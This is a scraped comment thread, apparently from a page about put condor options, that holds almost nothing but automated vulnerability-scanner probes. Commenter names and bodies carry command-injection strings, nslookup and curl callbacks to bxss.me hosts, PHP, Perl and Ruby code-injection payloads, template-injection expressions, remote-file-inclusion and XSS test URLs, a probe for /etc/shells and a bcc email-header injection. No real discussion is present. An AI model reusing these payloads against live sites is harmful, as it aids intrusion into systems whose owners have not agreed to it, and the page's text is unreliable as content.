fKxorhrg commented on December 12th, 2023 at 9:40 AM
[email protected]>
bcc:[email protected]

fKxorhrg commented on December 12th, 2023 at 9:40 AM
555

echo nhcpou$()\ anwgty\nz^xyu||a #' &echo nhcpou$()\ anwgty\nz^xyu||a #|" &echo nhcpou$()\ anwgty\nz^xyu||a # commented on December 12th, 2023 at 9:40 AM
555

fKxorhrg commented on December 12th, 2023 at 9:40 AM
555

&echo ejfbsi$()\ pjyyjl\nz^xyu||a #' &echo ejfbsi$()\ pjyyjl\nz^xyu||a #|" &echo ejfbsi$()\ pjyyjl\nz^xyu||a # commented on December 12th, 2023 at 9:41 AM
555

fKxorhrg commented on December 12th, 2023 at 9:41 AM
555

fKxorhrg&echo ljaefq$()\ uxnnxw\nz^xyu||a #' &echo ljaefq$()\ uxnnxw\nz^xyu||a #|" &echo ljaefq$()\ uxnnxw\nz^xyu||a # commented on December 12th, 2023 at 9:41 AM
555

|echo ooyzcs$()\ fllsct\nz^xyu||a #' |echo ooyzcs$()\ fllsct\nz^xyu||a #|" |echo ooyzcs$()\ fllsct\nz^xyu||a # commented on December 12th, 2023 at 9:41 AM
555

fKxorhrg commented on December 12th, 2023 at 9:41 AM
555

fKxorhrg|echo dhtjme$()\ xfapki\nz^xyu||a #' |echo dhtjme$()\ xfapki\nz^xyu||a #|" |echo dhtjme$()\ xfapki\nz^xyu||a # commented on December 12th, 2023 at 9:41 AM
555

(nslookup -q=cname hitcnhhvrjgwm9440e.bxss.me||curl hitcnhhvrjgwm9440e.bxss.me)) commented on December 12th, 2023 at 9:41 AM
555

|(nslookup -q=cname hitfnyfemstea5190b.bxss.me||curl hitfnyfemstea5190b.bxss.me) commented on December 12th, 2023 at 9:41 AM
555

fKxorhrg commented on December 12th, 2023 at 9:42 AM
555

${10000439+10000288} commented on December 12th, 2023 at 9:42 AM
555

fKxorhrg commented on December 12th, 2023 at 9:42 AM
555

fKxorhrg commented on December 12th, 2023 at 9:42 AM
${9999025+9999782}

RlBCbHVIZlU= commented on December 12th, 2023 at 9:42 AM
555

fKxorhrg commented on December 12th, 2023 at 9:42 AM
echo tvcpik$()\ faajia\nz^xyu||a #' &echo tvcpik$()\ faajia\nz^xyu||a #|" &echo tvcpik$()\ faajia\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 9:42 AM
555

fKxorhrg commented on December 12th, 2023 at 9:42 AM
&echo snebpq$()\ zqbmer\nz^xyu||a #' &echo snebpq$()\ zqbmer\nz^xyu||a #|" &echo snebpq$()\ zqbmer\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 9:42 AM
555&echo jokstt$()\ yuiazx\nz^xyu||a #' &echo jokstt$()\ yuiazx\nz^xyu||a #|" &echo jokstt$()\ yuiazx\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 9:42 AM
|echo dxgavp$()\ vltpvz\nz^xyu||a #' |echo dxgavp$()\ vltpvz\nz^xyu||a #|" |echo dxgavp$()\ vltpvz\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 9:42 AM
555|echo zuliyk$()\ jsksvg\nz^xyu||a #' |echo zuliyk$()\ jsksvg\nz^xyu||a #|" |echo zuliyk$()\ jsksvg\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 9:42 AM
(nslookup -q=cname hitphzkiilxqzf5d72.bxss.me||curl hitphzkiilxqzf5d72.bxss.me))

fKxorhrg commented on December 12th, 2023 at 9:42 AM
|(nslookup -q=cname hitwrixkbbsuv97095.bxss.me||curl hitwrixkbbsuv97095.bxss.me)

fKxorhrg commented on December 12th, 2023 at 9:42 AM
555

fKxorhrg commented on December 12th, 2023 at 9:43 AM
555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg commented on December 12th, 2023 at 9:43 AM
555

fKxorhrg commented on December 12th, 2023 at 9:43 AM
555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg commented on December 12th, 2023 at 9:43 AM
555

fKxorhrg commented on December 12th, 2023 at 9:43 AM
555

'.gethostbyname(lc('hitao'.'vopsukjt1cd75.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(82).chr(109).chr(90).' commented on December 12th, 2023 at 9:43 AM
555

fKxorhrg commented on December 12th, 2023 at 9:43 AM
555

) commented on December 12th, 2023 at 9:43 AM
555

fKxorhrg commented on December 12th, 2023 at 9:43 AM
555

!(()&&!|*|*| commented on December 12th, 2023 at 9:43 AM
555

fKxorhrg commented on December 12th, 2023 at 9:43 AM
555

Http://bxss.me/t/fit.txt commented on December 12th, 2023 at 9:43 AM
555

1'" commented on December 12th, 2023 at 9:44 AM
555

".gethostbyname(lc("hitjx"."pmlxlmzc343f2.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(82).chr(113).chr(82)." commented on December 12th, 2023 at 9:44 AM
555

@@lNHDd commented on December 12th, 2023 at 9:44 AM
555

fKxorhrg commented on December 12th, 2023 at 9:44 AM
555

^(#$!@#$)(()))****** commented on December 12th, 2023 at 9:44 AM
555

HttP://bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 9:44 AM
555

fKxorhrg commented on December 12th, 2023 at 9:44 AM
555

http://bxss.me/t/fit.txt?.jpg commented on December 12th, 2023 at 9:44 AM
555

fKxorhrg commented on December 12th, 2023 at 9:44 AM
'.gethostbyname(lc('hitcd'.'eghvokhf692c1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(75).chr(121).chr(78).'

fKxorhrg commented on December 12th, 2023 at 9:44 AM
555

fKxorhrg commented on December 12th, 2023 at 9:44 AM
)

bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 9:44 AM
555

fKxorhrg commented on December 12th, 2023 at 9:44 AM
555

http://bxss.me/t/fit.txt?.jpg commented on December 12th, 2023 at 9:44 AM
555

fKxorhrg commented on December 12th, 2023 at 9:44 AM
'.gethostbyname(lc('hitcd'.'eghvokhf692c1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(75).chr(121).chr(78).'

fKxorhrg commented on December 12th, 2023 at 9:44 AM
555

bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 9:44 AM
555

fKxorhrg commented on December 12th, 2023 at 9:45 AM
555

fKxorhrg commented on December 12th, 2023 at 9:45 AM
1'"

fKxorhrg commented on December 12th, 2023 at 9:45 AM
555

/etc/shells commented on December 12th, 2023 at 9:45 AM
555

fKxorhrg commented on December 12th, 2023 at 9:45 AM
555

long-put-condor-and-short-put-condor.html commented on December 12th, 2023 at 9:45 AM
555

fKxorhrg commented on December 12th, 2023 at 9:45 AM
555

"+"A".concat(70-3).concat(22*4).concat(100).concat(71).concat(117).concat(81)+(require"socket" Socket.gethostbyname("hitxo"+"zxiswhrz53d2f.bxss.me.")[3].to_s)+" commented on December 12th, 2023 at 9:45 AM
555

fKxorhrg commented on December 12th, 2023 at 9:45 AM
HttP://bxss.me/t/xss.html?%00

fKxorhrg commented on December 12th, 2023 at 9:45 AM
bxss.me/t/xss.html?%00

fKxorhrg commented on December 12th, 2023 at 9:45 AM
555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); commented on December 12th, 2023 at 9:45 AM
555

'"() commented on December 12th, 2023 at 9:45 AM
555

bxss.me commented on December 12th, 2023 at 9:45 AM
555

fKxorhrg commented on December 12th, 2023 at 9:45 AM
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

';print(md5(31337));$a=' commented on December 12th, 2023 at 9:45 AM
555

long-put-condor-and-short-put-condor.html commented on December 12th, 2023 at 9:46 AM
555

";print(md5(31337));$a=" commented on December 12th, 2023 at 9:46 AM
555

long-put-condor-and-short-put-condor.html/. commented on December 12th, 2023 at 9:46 AM
555

fKxorhrg commented on December 12th, 2023 at 9:46 AM
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

fKxorhrg commented on December 12th, 2023 at 9:46 AM
Http://bxss.me/t/fit.txt

fKxorhrg commented on December 12th, 2023 at 9:46 AM
long-put-condor-and-short-put-condor.html

${@print(md5(31337))} commented on December 12th, 2023 at 9:46 AM
555

fKxorhrg commented on December 12th, 2023 at 9:46 AM
http://bxss.me/t/fit.txt?.jpg